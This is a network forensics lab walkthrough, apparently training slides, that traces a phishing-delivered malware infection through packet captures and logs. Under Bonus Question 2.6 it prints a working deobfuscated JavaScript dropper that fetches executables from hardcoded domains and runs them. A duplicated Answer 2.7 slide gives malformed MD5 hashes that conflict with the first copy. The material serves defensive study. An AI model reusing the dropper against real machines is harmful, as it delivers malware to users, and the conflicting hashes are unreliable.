<td>- &gt;</td>
<td>212.227.17.171.110</td>
<td>356</td>
<td>7375</td>
<td>320909</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-04-08</td>
<td>tcp</td>
<td>192.168.0.53.4237</td>
<td>- &gt;</td>
<td>217.172.189.244.80</td>
<td>299</td>
<td>6396</td>
<td>279543</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-04-08</td>
<td>tcp</td>
<td>192.168.0.53.2042</td>
<td>- &gt;</td>
<td>217.172.189.243.80</td>
<td>290</td>
<td>6156</td>
<td>273205</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-03-09</td>
<td>tcp</td>
<td>192.168.0.53.1136</td>
<td>- &gt;</td>
<td>213.186.33.2.80</td>
<td>273</td>
<td>6048</td>
<td>250896</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Answer 2.1

- A2.1: www.mybusinessdoc.com, 193.9.28.35 and 1.web-counter.info

2015-04-07 13:34:43 68.164.182.11:80 0.5 MB downloaded
2015-04-07 13:35:01 193.9.28.35:80 1.5 MB downloaded
2015-04-07 13:35:02 148.251.80.172:443 1.4 MB downloaded
Question 2.2

• Q2.2: Are the files downloaded from www.mybusinessdoc.com (68.164.182.11) malicious?

• Recommended tools:
  – tcpdump (filter with BPF: host 68.164.182.11)
  – NetworkMiner (Files tab)
    OR
    Wireshark (File > Export > Objects > HTTP)
  – VirusTotal.com (search for MD5/SHA hash)
Files tab in NetworkMiner

```
user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-04-07$ tcpdump -r snort.log.1428364808 -w /var/tmp/68.164.182.11.pcap host 68.164.182.11
user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-04-07$ /opt/networkminer/networkminer /var/tmp/68.164.182.11.pcap
```
Details on Downloaded Files

user@securityonion:/opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80$

- file *

551d88323f7e.gif: PE32 executable (GUI) Intel 80386, for MS Windows
c87ed3c.gif: PE32 executable (console) Intel 80386, for MS Windows
f7.gif: PE32 executable (GUI) Intel 80386, for MS Windows

user@securityonion:/opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80$

- md5sum *

634c2a2a3ab03d5c21730c62d4677fe8  551d88323f7e.gif
de3d95855cbe959385a558458947d746  c87ed3c.gif
d48ef4bb0549a67083017169169ef3ee  f7.gif

user@securityonion:/opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80$
Export HTTP Objects in Wireshark

![Wireshark HTTP object list](image)
**Bonus Solution: Bro logs**

```bash
user@securityonion:/nsm/bro.logs/2015-04-07$ fgrep 68.164.182.11 files*.log
```

```bash
files.13:00:00-14:00:00.log:1428413684.563590  FGx5ts2iCMfZSUgO8c  68.164.182.11
   192.168.0.53  Cvvb8T21iyrsULmAd  HTTP  0  MD5,EXTRACT,SHA1
application/x-doseexec  c87ed3c.gif 2.169630  F  F  318883  318883
   0   0   F   -  de3d95855cbe959385a558458947d746  /nsm/bro/extracted/HTTP-FGx5ts2iCMfZSUgO8c.exe
```

```bash
files.13:00:00-14:00:00.log:1428413687.442979  FuFeW33aTSTxXihCql  68.164.182.11
   192.168.0.53  Cvvb8T21iyrsULmAd  HTTP  0  MD5,EXTRACT,SHA1
application/x-doseexec  551d88323f7e.gif  0.728051  F  F192512  192512
   0   0   F   -  634c2a2a3ab03d5c21730c62d4677fe8  /nsm/bro/extracted/HTTP-FuFeW33aTSTxXihCql.exe
```

```bash
files.13:00:00-14:00:00.log:1428413688.373888  F2rjhJZAjwGdlvTM8  68.164.182.11
   192.168.0.53  Cvvb8T21iyrsULmAd  HTTP  0  MD5,EXTRACT,SHA1
application/x-doseexec  f7.gif  0.000000  F  F  15361536  0
   0   F   -  d48ef4bb0549a67083017169169ef3ee  /nsm/bro/extracted/HTTP-F2rjhJZAjwGdlvTM8.exe
```

551d88323f7e.gif
634c2a2a3ab03d5c21730c62d4677fe8

*Antivirus scan for 196c186b05ce2cb0f964080823d22a5f4c990e3270fd3b4750588c5130dc7fd50 at 2015-04-16 13:18:26 UTC - VirusTotal - Mozilla Firefox*

**SHA256:** 196c186b05ce2cb0f964080823d22a5f4c990e3270fd3b4750588c5130dc7fd50

**File name:** 75386678.bin

**Detection ratio:** 33 / 57

**Analysis date:** 2015-04-16 13:18:26 UTC (2 weeks, 4 days ago)

**Antivirus** | **Result** | **Update**
---|---|---
ALYac | Trojan.GenericKD.2286533 | 20150416
AVG | Inject2.BXDW | 20150416
AVware | Trojan.Win32.GenericB!T | 20150416
Ad-Aware | Trojan.GenericKD.2286533 | 20150416
Agrintum | Trojan.Murof! | 20150416
Antivirus scan for daf4d96a121c9e4935082d40264088f352f14d868f8720d8fa7e4f99c82f05 at 2015-04-27 06:17:24 UTC - VirusTotal - Mozilla Firefox

<table>
<thead>
<tr>
<th>SHA256:</th>
<th>daf4d96a121c9e4935082d40264088f352f14d868f8720d8fa7e4f99c82f05</th>
</tr>
</thead>
<tbody>
<tr>
<td>File name:</td>
<td>e659e65f67ee6a7.gif</td>
</tr>
<tr>
<td>Detection ratio:</td>
<td>8 / 57</td>
</tr>
<tr>
<td>Analysis date:</td>
<td>2015-04-27 06:17:24 UTC (1 week, 1 day ago)</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Result</th>
<th>Update</th>
</tr>
</thead>
<tbody>
<tr>
<td>CAT-QuickHeal</td>
<td>worm.Cridex.r2</td>
<td>20150425</td>
</tr>
<tr>
<td>Comodo</td>
<td>UnclassifiedMalware</td>
<td>20150427</td>
</tr>
<tr>
<td>Cyren</td>
<td>Win32.Trojan.YNEV-7544</td>
<td>20150427</td>
</tr>
<tr>
<td>Ikarus</td>
<td>Trojan.SecurityDefender</td>
<td>20150427</td>
</tr>
</tbody>
</table>

VirusTotal: https://www.virustotal.com/en/file/daf4d96a121c9e4935082d40264088f352f14d868f8720d8fa7e4f99c82f05/
Answer 2.2

- A2.2: All files from mybusinessdoc.com seem to be malicious
  - c87ed3c.gif (MZ file, MD5: de3d95855cbe959385a558458947d746)
  - 551d88323f7e.gif (MZ file, MD5: 634c2a2a3ab03d5c21730c62d4677fe8)
  - f7.gif (MZ file, MD5: d48ef4bb0549a67083017169169ef3ee)
Question 2.3

• Q2.3: Does the HTML page downloaded from 193.9.28.35 look legitimate?

• Recommended Tools:
  – Tcpdump (filter with BPF: host 193.9.28.35)
  – NetworkMiner (Files tab)
Tcpdump + NetworkMiner

$ tcpdump -r /nsm/sensor_data/securityonion-eth1/dailylogs/2015-04-07/snort.log.1428364808 -w /var/tmp/193.9.28.35.pcap host 193.9.28.35
$ /opt/networkminer/networkminer /var/tmp/193.9.28.35.pcap
HTTP - TCP 80 - File Manager

user
Desktop
Trash
File System
Network
Documents
Download
Music
Pictures
Videos
AssembledFiles
193.9.28.35
HTTP - TCP 80

<html><body>
YmgKB0lmRF6vTF+7nUH+/SHjSL03CuVbA2B6Ivfa+yAFLqzRKRCQpKHFkRxA8C4imrwJpYYQsg73uZ7bHS7kF4FX4SiYJO0NYvtf8u1Mrue/IqsvM5QQy79D12kP9f2UDKEpbPOQKTKI+opQy7j5MGDwrvmqKXZv6aUK/Cj0rug19zyAM8zugZt2k6J6s+rgEgY5tsJkOE00FA03AWSeIKpFkpTpVXaUpAbSozpWaPYSiZlAKVw1DLwFJH1it5hgLHPNbsMhQn+2u4uX62+uh09HWx1PSxYZxKw+h3fTqZRaXcn2GzcpLzZncCWKd1ISH1I3aJ3x6Z0xqIAe389gcKqRG66e5FD76Lge0Twqjn04Pjq7BYRTg108EX0zm1DctCO3SpeeLOjV9c7fYTWJzm6o1l17jLvM5fwKzyHqKkZZo6lRwyt1Qtv9XoDTtTB9qz4r3XyXaKFK0efKV+zI8H9c6GLXI4VGixEXRbvU2MhcS1SaeryqzZMKnu05eNHfWlsBm69sMSAd2NfKntyo8KhRei/t0fEXmHIpvdGLcNaMugBKZyKFmOWJN/pVUva87J3j+iRwf77KDs10y3rERJA+a0yITzVJJ416wAkpmYuYLjNIAeTCQ825gZG0uy118RwpExCIp+Srj1HV22MI9hiCqVqn8C1vkppBT18 JerfzRZi23cPYBQLFjFUQXBNNS3EP7CMZN994wqj7eKM/harwaj3PMizInODoroJ4FVQRWQESenTe9M0XUjKaN/FrL094SSZKGBYYtYTFbDRdnZcIC8cFO5K+l+07D332dOG+Wm81ASbFpTa0YdPcGrLhhxh</body></html>
Answer 2.3

• A2.3: No it does not look legitimate. It is a 1.4 MB base64 encoded string inside <html><body> tags

• Wanna dig deeper?
  – The Emerging Threats Snort signature 2018582 triggered on the HTTP GET request: https://127.0.0.1:444/events/view?cid=4925&sid=1
Question 2.4

• Q2.4: Did the download from 1.web-counter.info (148.251.80.172) use HTTP, SSL or something else?

• Recommended Tool:
  – Wireshark
    • Display filter "ip.addr eq 148.251.80.172"
Answer 2.4

- A2.4: It’s something else (not SSL/TLS)
Theory: Wireshark's Find Packet

- Finds one packet at time
- [Ctrl+F] or Edit > Find Packet

- Find By:
  - Display Filter
  - Hex value
  - **String**

- Search in (only for String search):
  - Packet list
  - Packet details
  - **Packet bytes** (this is usually what you want)
Theory: ngrep

- Grep implementation for network traffic
- Prints IP addresses and port numbers for matching packets
- Use -q to avoid filling the screen with #'es for packets that do not match the BPF
- Examples:
  - Search for email address "user@internet.se": ngrep -I dump.pcap -q user@internet.se
  - Search DNS requests for "pwned.se": ngrep -I snort.log.1428364808 -q -i pwned.se dst port 53

ngrep <-iqvx> <-I0 pcap_dump > < -n num > < match expression > < bpf filter >
- i Ignore case for the regex expression.
- q Be quiet; don't output any information other than packet headers and their payloads (if relevant).
- v Invert the match; only display packets that don't match.
- I pcap_dump
  Input file pcap file into ngrep.
- O pcap_dump
  Output matched packets to a pcap file.
match expression
  A match expression is an extended regular expression.
bpf filter
  Selects a filter that specifies what packets will be dumped.
Theory: Tcpflow

- Extracts TCP sessions to the current work directory
- Each TCP session will generate two files (client-to-server and server-to-client)
- Tip: Create a new “flow” directory for each tcpflow execution
- Examples:
  - Extract POP3 emails: tcpflow -r emails.pcap port 110
  - Extract HTTP downloads: tcpflow -AH -r web.pcap src port 80

```
tcpflow [-BcC] [-AH] [-b max_bytes] [-i iface] [-r file1.pcap] [expression]
-B     Force binary output even when printing to console with -C or -c.
-b     Capture no more than max_bytes bytes per flow.
-c     Console print (stdout), without storing any captured data to files
-C     Console print without the packet source and destination details being printed.
-AH    Perform HTTP post-processing ("After" processing) to extract HTTP payloads.
-i     Capture packets from the network interface named iface.
-r     Read from PCAP file.
```
Question 2.5

- Forensics of Ned's computer (192.168.0.53) indicates that the first infection was caused by a file called "Delivery_Notification_00000529832.zip", which landed on Ned's computer on 2015-04-07.
- The ZIP file has the following MD5 sum: 1f5a31b289fd222e2d47673925f3eac9
- Q2.5: How was this piece of malware delivered to Ned's computer? (HTTP / E-mail / Chat / Other)

- Recommended Tools:
  - GUI way: Wireshark’s Find Packet [Ctrl+F] and “Follow TCP Stream”
  - Command line way: Ngrep and Tcpflow

Proceed to Bonus Question 2.6 when finished
Wireshark String Search

- [Ctrl+F]
  or
Edit > Find Packet
- Find By String
- Search in Packet bytes
Wirehsark Follow TCP Stream
String Search with ngrep

user@securityonion:/nsm/sensor_data/securityonion-eth1/dailylogs/2015-04-07$ ngrep -l snort.log.1428364808 -q Delivery_Notification_00000529832.zip host 192.168.0.53
input: snort.log.1428364808
match: Delivery_Notification_00000529832.zip

T 212.227.17.187:110 -> 192.168.0.53:2206 [A]

This is to confirm that one or more of your parcels has been shipped. Please, download Delivery Label attached to this email.

Thank you for choosing FedEx, Darren Parks, Sr. Station Manager.
tcpflow

- Create and "cd" into a new directory
- Run tcpflow
  - tcpflow -r /nsm/sensor_data/securityonion-eth1/dailylogs/2015-04-07/snort.log.1428364808 host 212.227.17.187 and port 110 and host 192.168.0.53 and port 2206
- Remove everything but the base64 encoded zip
- Base64-decode the file
  - base64 -d -i 212.227.017.187.00110-192.168.000.053.02206 > decoded.zip
- Hash it:
  - md5sum decoded.zip
    1f5a31b289fd222e2d47673925f3eac9  decoded.zip
Answer 2.5

- A2.5: Delivery_Notification_00000529832.zip was delivered via an email (POP3) from Krusty.
- The extracted attachment's MD5 was: 1f5a31b289fd222e2d47673925f3eac9
Bonus Solution: Xplico
https://127.0.0.1:9876/
Bonus Question 2.6

• Decode the JavaScript contained in Delivery_Notification_00000529832.doc.js.zip

• Q2.6: What domains does the JavaScript download additional malware from?
Deobfuscated Malware

```javascript
var www="5555525E01160D0F4A0C0E010809120D0F240309050D084A070B09";
function dl(fr) {
    var b = "www.mybusinessdoc.com nursealarmsystems.com carina-paris-hotel.com".split(" ");
    for (var i = 0; i < b.length; i++) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(Math.random() * 10000000) + ".exe";
        var dn = 0;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState == 4 && xo.status == 200) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                if (xa.size > 5000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn, 2);
                    try {
                        ws.Run(fn, 1, 0);
                    } catch (er) {};
                    xa.close();
                };
            };
            try {
                xo.open("GET", "http://" + b[i] + "/document.php?rnd=" + fr + "&id=" + www, false);
                xo.send();
            } catch (er) {};
            if (dn == 1) break;
        }
    }
    dl(3271);
    dl(5292);
    dl(9813);
}
```
## Answer 2.6

### Malware Download Domains

<table>
<thead>
<tr>
<th>Domain 1</th>
<th>Domain 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>68.164.182.11</td>
<td><a href="http://www.mybusinessdoc.com">www.mybusinessdoc.com</a></td>
</tr>
<tr>
<td>216.47.227.188</td>
<td>nursealarmsystems.com</td>
</tr>
<tr>
<td>209.59.156.160</td>
<td>carina-paris-hotel.com</td>
</tr>
</tbody>
</table>

$ racluster -R * -n -w -- host 68.164.182.11 or 216.47.227.188 or 209.59.156.160 | rasort -m stime -s stime saddr sport daddr dport pkts

<table>
<thead>
<tr>
<th>StartTime</th>
<th>SrcAddr</th>
<th>Sport</th>
<th>DstAddr</th>
<th>Dport</th>
<th>TotPkts</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-04-07 13:34:43</td>
<td>192.168.0.53.2210</td>
<td>68.164.182.11.80</td>
<td>583</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-04-07 13:34:48</td>
<td>192.168.0.53.2211</td>
<td>216.47.227.188.80</td>
<td>8</td>
<td></td>
<td></td>
</tr>
<tr>
<td>2015-04-07 13:34:49</td>
<td>192.168.0.53.2212</td>
<td>209.59.156.160.80</td>
<td>12</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Question 2.7

- Q2.7: What binaries were dropped by Delivery_Notification_00000529832.doc.js on April 7? MD5 sums wanted!
- Tip 1: The download script uses a unique QueryString parameter: 5555525E01160D0F4A0C0E010809120D0F240309050D084A070B09
- Tip 2: The script uses hard coded domains: www.mybusinessdoc.com (68.164.182.11), nursealarmsystems.com (216.47.227.188) and carina-paris-hotel.com (209.59.156.160)
- Recommended Tools (any of these will work):
  - Wireshark
    - Display filter: http.request.uri contains 5555525E...
    - Select downloaded file + Export Selected Bytes
  - Tcpdump (filter on IP addresses) and NetworkMiner (Files tab)
  - Ngrep/Tshark and tcpflow
  - Bro logs (/nsm/bro/logs/2015-04-07/)

Proceed to Bonus Questions 3.* when finished!
Wireshark: Export Selected Bytes
NetworkMiner File Extraction
File types and MD5 sums

find /opt/networkminer/AssembledFiles/ -name "*.gif" -exec file {} \; -exec md5sum {} \;

/opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80/c87ed3c.gif: PE32 executable (console) Intel 80386, for MS Windows
de3d95855cbe959385a558458947d746 /opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80/c87ed3c.gif

/opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80/f7.gif: PE32 executable (GUI) Intel 80386, for MS Windows
d48ef4bb0549a67083017169169ef3ee /opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80/f7.gif

/opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80/551d88323f7e.gif: PE32 executable (GUI) Intel 80386, for MS Windows
634c2a2a3ab03d5c21730c62d4677fe8 /opt/networkminer/AssembledFiles/68.164.182.11/HTTP - TCP 80/551d88323f7e.gif

/opt/networkminer/AssembledFiles/216.47.227.188/HTTP - TCP 80/d373f76161148868.gif: PE32 executable (GUI) Intel 80386, for MS Windows
d48ef4bb0549a67083017169169ef3ee /opt/networkminer/AssembledFiles/216.47.227.188/HTTP - TCP 80/d373f76161148868.gif

/opt/networkminer/AssembledFiles/209.59.156.160/HTTP - TCP 80/af99a8a3e.gif: PE32 executable (GUI) Intel 80386, for MS Windows
d48ef4bb0549a67083017169169ef3ee /opt/networkminer/AssembledFiles/209.59.156.160/HTTP - TCP 80/af99a8a3e.gif
Answer 2.7

• A2.7: Downloaded files were the same ones as those found with the whitelist filtering approach:
  – c87ed3c.gif (MZ file)
    • MD5: de3d95855cbe959385a558458947d746
  – 551d88323f7e.gif (MZ file)
    • MD5: 634c2a2a3ab03d5c21730c62d4677fe8
  – f7.gif / d373f76161148868.gif / af99a8a3e.gif (MZ files)
    • MD5: d48ef4bb0549a67083017169169ef3ee
Answer 2.7

- A2.7: Downloaded files were the same ones as those found with the whitelist filtering approach:
  - c87ed3c.gif (MZ file)
    - MD5: de3d9535cbe959385a558453947d71c
  - 551d88323f7e.gif (MZ file)
    - MD5: 634c2a2a3ab03d5c21730c62d4677fe8
  - f7.gif / d373f76161148868.gif / af99a8a3e.gif (MZ files)
    - MD5: d48ef4b0f49a679207129169ef3ee
Bonus Incident #3: APT4711

- APT4711 send a spear phishing email to Krusty (192.168.0.54) on March 18.
- Note: Krusty uses SSL encrypted IMAP (TCP 993) towards imap.google.com, so we cannot inspect the contents of his email. However, we do know that Krusty opened the attachment at 10.35.36 UTC, which caused a Command-and-control (C2) software do be downloaded.
Bonus Question 3.1

• Q3.1: From what IP and TCP port was the C2 software downloaded?
Whitelist Filtering with Argus

user@securityonion:/nsm/sensor_data/securityonion-eth1/argus$ rafilteraddr -r 2015-03-18.log -v -f /usr/local/etc/ip_whitelist.txt -w -- host 192.168.0.54 and dst net not 192.168.0.0/16 | racluster -w - | rasort -m stime -n | grep "10:35:"

2015-03-18 10:35:39 tcp 192.168.0.54.50100 -> 103.10.197.187.2703 129 4468 81497
2015-03-18 10:35:39 udp 192.168.0.54.61537 -> 224.0.0.252.5355 2 128 0
2015-03-18 10:35:45 tcp 192.168.0.54.50101 -> 103.10.197.187.2702 1141 35562 801283
Answer 3.1

• A3.1: 103.10.197.187 TCP 2703
Bonus Question 3.2

• Q3.2: What type of C2 channel was established from Krusty's computer to a server in Hong Kong after the C2 software was downloaded and executed?
Follow TCP Stream of Meterpreter
Answer 3.2

- **A: Meterpreter reverse shell to 103.10.197.187 on TCP 2702 (from for example TCP 49239 on 2015-03-19)**

  The actual format of the TLV structure that meterpreter uses is:

  |                             Length                             |
  |                             Type                              |
  |                                                               |
  |                         ... Value ...                         |

  **Length** (32 bits, network byte order): The length field contains the length of the TLV including the Length, Type and Value fields.

  **Type** (32 bits, network byte order): The type field holds the arbitrary data type which is used to indicate the format of the value.

  **Value** (0..n bits): The value field holds arbitrary data that is of the format specified in the Type field.

  Source: https://dev.metasploit.com/documents/meterpreter.pdf
Super Extra Bonus Questions

• Q3.3: Krusty's computer (.54) has been infected with some “badware”, when did this happen and how?
• Q3.4: Extract all emails sent with SMTP (NetworkMiner)
• Q3.5: List all long running sessions (Argus)
• Q3.6: Look for data exfiltration, i.e. large amounts of outbound data transfers (Argus)
Usernames / Passwords

- Security Onion VM
  - user / password
- ELSA : https://127.0.0.1/elsa/
  - user / password
- Squert : https://127.0.0.1/squert/
  - user / password
- Snorby : https://127.0.0.1:444/
  - user@internet.se / password
- Xplico : https://127.0.0.1:9876/
  - xplico / xplico